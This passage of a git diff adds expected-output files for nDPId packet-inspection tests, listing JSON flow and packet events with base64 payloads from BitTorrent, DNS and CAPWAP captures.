2Lfrtw9BjSlNtHIsZ9sSZIXAfAkaadQGfbGItopHxfWlKVlX\/19f\/8Av\/RirVepjrHl+im1O9XXCm7hHutxmx7S7e7cSidnYd7KclSQC69uiMCfIKJyQITQ0FF+r0y7tOvWxzTCRcJkifIBmdGF2S6ThC01PktNNopKqoINgACP3CIiicIiJUK6EWxm0+sVrywwcgwPEgfVZMlx8uzg2hwkQnCJUFCNUEEXqAoICgiIinq+oprriupmGroNp4xZ9TNX79c24MezxmGp5WZUV4JEhTNo2WX2wbeZLsbbrAvE7yCBzVtdAdHLXt\/0axPT60Oe4iWOEjByepD7l8lVx9\/qRmoeR03HOnZUHv1T5IlZgbvNxczehuOk6M4xqvj+GaJQfAl0vtzuceNbprjBKb0kTcRo5HBuC23HFw23Cjg8ioP6xuNdddpGj2hWjzGdac7mLPlGouOvNSVh2i5Q\/NNdKW0LLkMGJCuxiYAicIuzykrfZPEiVrptV1S\/LTtx06zJy5\/GZ9yssf4jN9v4PJPbHxTPo6iicSG3k+kUFeOR+lUWpVr5LtNet1qmS48CRdJDDJutwYhNi9JIRVUbBXDAEIlThFMxHlU5JE5VMttN9g2oe+m+yNYNxmQ5BhsubNfiM4k1bEiyGoDY8MowrxksRoXScRG3GSI0AnFIle8i8\/Bn2H0st6Vsx+05\/IuOkGSMsFk0M0gzrnCdBh4WQlA2nmAWzktSUIG2lcbdURF5W17a6VnV6W2LWvBtfd2+N2SL7Ky2fJo9vgxvITnhYalXRtsOxqpFwIonJKqrx81VauBux\/CxrJ+5l5\/gXqir0uPwJ6Z\/6z\/3pLq1VKzV9TLe5p5d9Fc70WZjZA1n0maMJ+FKtisBB9rcGHRddMyRCakNN+VkmvJ2AwU0b7cVJfpvbpcq1gw3E8Jl6R3jG8Tx7EmY0POHn3XYN0dhqxEVttVjgCESo4XVHTUfEQ\/PhVS79YLaGbvL5pFs7uOlGmsm4BqnmGZvdStsM3JEeA7Eisp7YxXlJLzo+NvohkKC4qeM1aJba+llnOW6J6oZxtr1RlSLXfYTLN0sdjlTIz7MUiDzSmWXAcJSJxt9h9Gm1IURuQaoBd+1yd3m5y17S9GpOcT7d8bllNYt9vtHnKP719xVJQ8qNuI31aB5zkh4XxdeeSSqAaebLtct\/unEHP8AVPXzw2G9+K4Wu0w0+JxxMEcYUzisusxYzoiPHDfY+XHUcRtxDFeg2Aao5Ftu3aZHtUu+Vx85xMHpgWWbbkRxuFNbaWU4KKp8sirYvi8wnk6SR4Hjl0z1KpVSt8e\/7HdqGPDb7EVnyzUWS8UZMfOeqFbRWOrgyZQNiSoKEcfhoiaJ0XFUCRBJU+TXX1IsQ0M0O0\/y+ZZ\/iuZ5pZYN7g4XHnoJsMPtg4bj0jxr0aHsQCat8uGPAjwLhN8r6eO7nUvWXUfU7ANZ2Pg2Z27w3q22R+yuW+REhuLw6yoqKcNN+SIrfl5dJH1VTcROR4rcFuQ143Ka85Jo3trCRZLbijz1qyfKxdabZJXfEyZE48wjkUo7oyw="} +00440{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":807007,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"LFbcjDU0xCwDBkn+CABFAAA2viAAAEARAADAqAEFUvNxK5\/\/\/ckAIoX\/IQFTAgcHYOz2ERRIAADwAEnJ5\/cABAEAAAA="} diff --git a/test/results/bt_search.pcap.out b/test/results/bt_search.pcap.out new file mode 100644 index 000000000..109c484f1 --- /dev/null +++ b/test/results/bt_search.pcap.out @@ -0,0 +1,7 @@ +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"bt_search.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1430752225251,"flow_last_seen":0,"flow_tot_l4_data_len":127,"flow_min_l4_data_len":127,"flow_max_l4_data_len":127,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.102","dst_ip":"239.192.152.143","src_port":6771,"dst_port":6771,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00555{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"bt_search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430752225,"pkt_ts_usec":251619,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"AQBeQJiPABZEH1lmCABFAACTaOEAAP8RCRrAqABm78CYjxpzGnMAf8gHQlQtU0VBUkNIICogSFRUUC8xLjENCkhvc3Q6IDIzOS4xOTIuMTUyLjE0Mzo2NzcxDQpQb3J0OiA2MTE5Nw0KSW5mb2hhc2g6IEVENEYxMDg1RTg4NUY5OEY5QTY5QjcwRUU4OUVCOTg4QjhGRDkxMTUNCg0KDQo="} +00571{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"bt_search.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1430752225251,"flow_last_seen":0,"flow_tot_l4_data_len":127,"flow_min_l4_data_len":127,"flow_max_l4_data_len":127,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.102","dst_ip":"239.192.152.143","src_port":6771,"dst_port":6771,"l4_proto":"udp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":""}} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2,"source":"bt_search.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1430752225251,"flow_last_seen":0,"flow_tot_l4_data_len":127,"flow_min_l4_data_len":127,"flow_max_l4_data_len":127,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.102","dst_ip":"239.192.152.143","src_port":6771,"dst_port":6771,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"bt_search.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1430752525284,"flow_last_seen":0,"flow_tot_l4_data_len":127,"flow_min_l4_data_len":127,"flow_max_l4_data_len":127,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.102","dst_ip":"239.192.152.143","src_port":6771,"dst_port":6771,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00556{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"bt_search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430752525,"pkt_ts_usec":284866,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"AQBeQJiPABZEH1lmCABFAACTCiwAAP8RZ8\/AqABm78CYjxpzGnMAf8gHQlQtU0VBUkNIICogSFRUUC8xLjENCkhvc3Q6IDIzOS4xOTIuMTUyLjE0Mzo2NzcxDQpQb3J0OiA2MTE5Nw0KSW5mb2hhc2g6IEVENEYxMDg1RTg4NUY5OEY5QTY5QjcwRUU4OUVCOTg4QjhGRDkxMTUNCg0KDQo="} +00571{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"bt_search.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1430752525284,"flow_last_seen":0,"flow_tot_l4_data_len":127,"flow_min_l4_data_len":127,"flow_max_l4_data_len":127,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.102","dst_ip":"239.192.152.143","src_port":6771,"dst_port":6771,"l4_proto":"udp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":""}} diff --git a/test/results/capwap.pcap.out b/test/results/capwap.pcap.out new file mode 100644 index 000000000..e2e423a4d --- /dev/null +++ b/test/results/capwap.pcap.out @@ -0,0 +1,66 @@ +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"capwap.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1422328949167,"flow_last_seen":0,"flow_tot_l4_data_len":73,"flow_min_l4_data_len":73,"flow_max_l4_data_len":73,"flow_avg_l4_data_len":73,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.9","dst_ip":"192.168.10.10","src_port":5246,"dst_port":12379,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422328949,"pkt_ts_usec":167396,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"uDhh8wWsJOmzR64gCABFwABdANlAAH8RZJPAqAoJwKgKChR+MFsASQAAAQAAABX+\/wABAAAAAAABADCRUl3gOBqBz\/u8XElQaHVuhYA4Oyehwv8gEXQ+BVAOU1L6bxnlZCgpb3mFtLC\/ZhI="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"capwap.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1422328949167,"flow_last_seen":0,"flow_tot_l4_data_len":73,"flow_min_l4_data_len":73,"flow_max_l4_data_len":73,"flow_avg_l4_data_len":73,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.9","dst_ip":"192.168.10.10","src_port":5246,"dst_port":12379,"l4_proto":"udp","ndpi": {"proto":"CAPWAP","breed":"Acceptable","category":"Network"}} +00473{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2,"source":"capwap.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1422328949167,"flow_last_seen":0,"flow_tot_l4_data_len":73,"flow_min_l4_data_len":73,"flow_max_l4_data_len":73,"flow_avg_l4_data_len":73,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.9","dst_ip":"192.168.10.10","src_port":5246,"dst_port":12379,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"capwap.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1422328963915,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":49259,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422328963,"pkt_ts_usec":915032,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"\/\/\/\/\/\/\/\/uDhh8wWsCABFAABFAAEAAP8R8PTAqAoK\/\/\/\/\/8BrADUAMQAA9LUBAAABAAAAAAAAF0NJU0NPLUNBUFdBUC1DT05UUk9MTEVSAAABAAE="} +00643{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"capwap.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1422328963915,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":49259,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"cisco-capwap-controller","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00458{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422328966,"pkt_ts_usec":914891,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"\/\/\/\/\/\/\/\/uDhh8wWsCABFAABFAAIAAP8R8PPAqAoK\/\/\/\/\/8BrADUAMQAA9LUBAAABAAAAAAAAF0NJU0NPLUNBUFdBUC1DT05UUk9MTEVSAAABAAE="} +00783{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422328970,"pkt_ts_usec":67630,"pkt_caplen":365,"pkt_type":351,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":365,"pkt_l4_len":0,"pkt":"AQAMzMzMuDhh8wWsAV+qqgMAAAwgAAK0db0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAUR2lnYWJpdEV0aGVybmV0MAAEAAgAAAADAAsABQE="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":4,"source":"capwap.pcap","alias":"nDPId-test","type":351} +00783{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422328971,"pkt_ts_usec":66732,"pkt_caplen":365,"pkt_type":351,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":365,"pkt_l4_len":0,"pkt":"AQAMzMzMuDhh8wWsAV+qqgMAAAwgAAK0db0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAUR2lnYWJpdEV0aGVybmV0MAAEAAgAAAADAAsABQE="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":5,"source":"capwap.pcap","alias":"nDPId-test","type":351} +00783{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422328972,"pkt_ts_usec":66724,"pkt_caplen":365,"pkt_type":351,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":365,"pkt_l4_len":0,"pkt":"AQAMzMzMuDhh8wWsAV+qqgMAAAwgAAK0db0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAUR2lnYWJpdEV0aGVybmV0MAAEAAgAAAADAAsABQE="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":6,"source":"capwap.pcap","alias":"nDPId-test","type":351} +00816{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422328982,"pkt_ts_usec":66392,"pkt_caplen":389,"pkt_type":375,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":389,"pkt_l4_len":0,"pkt":"AQAMzMzMuDhh8wWsAXeqqgMAAAwgAAK0iX0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAQAAYyyAAZABCkjQAAAAA8KAAAMsg="} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":10,"source":"capwap.pcap","alias":"nDPId-test","type":375} +00828{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422328989,"pkt_ts_usec":70227,"pkt_caplen":397,"pkt_type":383,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":397,"pkt_l4_len":0,"pkt":"AQAMzMzMuDhh8wWsAX+qqgMAAAwgAAK0cl0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAPAAggAAAAABAABjLIABkAEKSNAAAAADwoAAAyyA=="} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":11,"source":"capwap.pcap","alias":"nDPId-test","type":383} +00829{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422328993,"pkt_ts_usec":294069,"pkt_caplen":397,"pkt_type":383,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":397,"pkt_l4_len":0,"pkt":"AQAMzMzMuDhh8wWsAX+qqgMAAAwgAAK0cl0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAPAAggAAAAABAABjLIABkAEKSNAAAAADwoAAAyyA=="} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":12,"source":"capwap.pcap","alias":"nDPId-test","type":383} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"capwap.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1422329005766,"flow_last_seen":0,"flow_tot_l4_data_len":131,"flow_min_l4_data_len":131,"flow_max_l4_data_len":131,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":12380,"dst_port":5246,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00571{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329005,"pkt_ts_usec":766358,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"pkt":"\/\/\/\/\/\/\/\/uDhh8wWsCABFwACXAARAAP8Rr9\/AqAoK\/\/\/\/\/zBcFH4AgwAAACACEAAAAAAGWAogaQ4g6AAAAAEAAGYAABQAAQAAJwAoAgIAAQBAlgAAAAAEAQAAAABAlgAAAQAEBwVmAABAlgAAAgAEDAQZAAApAAEEACwAAQEAJQAKAECWAADPAQAAAQAlABYAQJYAAAVBUGI4MzguNjFmMy4wNWFj"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":18,"source":"capwap.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1422329005766,"flow_last_seen":0,"flow_tot_l4_data_len":131,"flow_min_l4_data_len":131,"flow_max_l4_data_len":131,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":12380,"dst_port":5246,"l4_proto":"udp","ndpi": {"proto":"CAPWAP","breed":"Acceptable","category":"Network"}} +00571{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329005,"pkt_ts_usec":766854,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"pkt":"\/\/\/\/\/\/\/\/uDhh8wWsCABFwACXAARAAP8Rr9\/AqAoK\/\/\/\/\/zBcFH4AgwAAACACEAAAAAAGWAogaQ4g6AAAAAEAAGYAABQAAQAAJwAoAgIAAQBAlgAAAAAEAQAAAABAlgAAAQAEBwVmAABAlgAAAgAEDAQZAAApAAEEACwAAQEAJQAKAECWAADPAQAAAQAlABYAQJYAAAVBUGI4MzguNjFmMy4wNWFj"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"capwap.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1422329005767,"flow_last_seen":0,"flow_tot_l4_data_len":122,"flow_min_l4_data_len":122,"flow_max_l4_data_len":122,"flow_avg_l4_data_len":122,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.9","dst_ip":"192.168.10.10","src_port":5246,"dst_port":12380,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00545{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329005,"pkt_ts_usec":767224,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"uDhh8wWsJOmzR64gCABFwACOANoAAH8RpGHAqAoJwKgKChR+MFwAegAAABACAAAAAAAAAAACAABlAAABACQAAAPoAAAABQIBAAMAQJYAAAEABAcFZgAAQJYAAAAABAEAAAEABAAJQ2lzY28yNTA0BBgABQAAAAAAAAoABsCoCgkAAAAlAAcAQJYAANAAACUACwBAlgAAl1THBF8A"} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"capwap.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1422329005767,"flow_last_seen":0,"flow_tot_l4_data_len":122,"flow_min_l4_data_len":122,"flow_max_l4_data_len":122,"flow_avg_l4_data_len":122,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.9","dst_ip":"192.168.10.10","src_port":5246,"dst_port":12380,"l4_proto":"udp","ndpi": {"proto":"CAPWAP","breed":"Acceptable","category":"Network"}} +00545{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329005,"pkt_ts_usec":767984,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"uDhh8wWsJOmzR64gCABFwACOANsAAH8RpGDAqAoJwKgKChR+MFwAegAAABACAAAAAAAAAAACAABlAAABACQAAAPoAAAABQIBAAMAQJYAAAEABAcFZgAAQJYAAAAABAEAAAEABAAJQ2lzY28yNTA0BBgABQAAAAAAAAoABsCoCgkAAAAlAAcAQJYAANAAACUACwBAlgAAl1THBF8A"} +00494{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329015,"pkt_ts_usec":765658,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"JOmzR64guDhh8wWsCABFwABlAAVAAP8R5V7AqAoKwKgKCTBcFH4AURfgAQAAABb+\/wAAAAAAAAAAADgBAAAsAAAAAAAAACz+\/1Z4mrz13vIlLHFGU8KNmBPwkXkcj0vpbAEOfTafYoZSAAAABAAvADMBAA=="} +00482{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329015,"pkt_ts_usec":861407,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"uDhh8wWsJOmzR64gCABFwABcANxAAH8RZJHAqAoJwKgKChR+MFwASAAAAQAAABb+\/wAAAAAAAAAAAC8DAAAjAAAAAAAAACP+\/yDAqAoKMFwSNFZ4mrz11boJ8TslJR9U5jzXLHEUL1R1yw=="} +00535{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329015,"pkt_ts_usec":862030,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"JOmzR64guDhh8wWsCABFwACFAAZAAP8R5T3AqAoKwKgKCTBcFH4AcfJNAQAAABb+\/wAAAAAAAAABAFgBAABMAAEAAAAAAEz+\/1Z4mrynPGWI5IMm9p17jE2f9KaJMQrrWK2ES2Ll2lIYACDAqAoKMFwSNFZ4mrz11boJ8TslJR9U5jzXLHEUL1R1ywAEAC8AMwEA"} 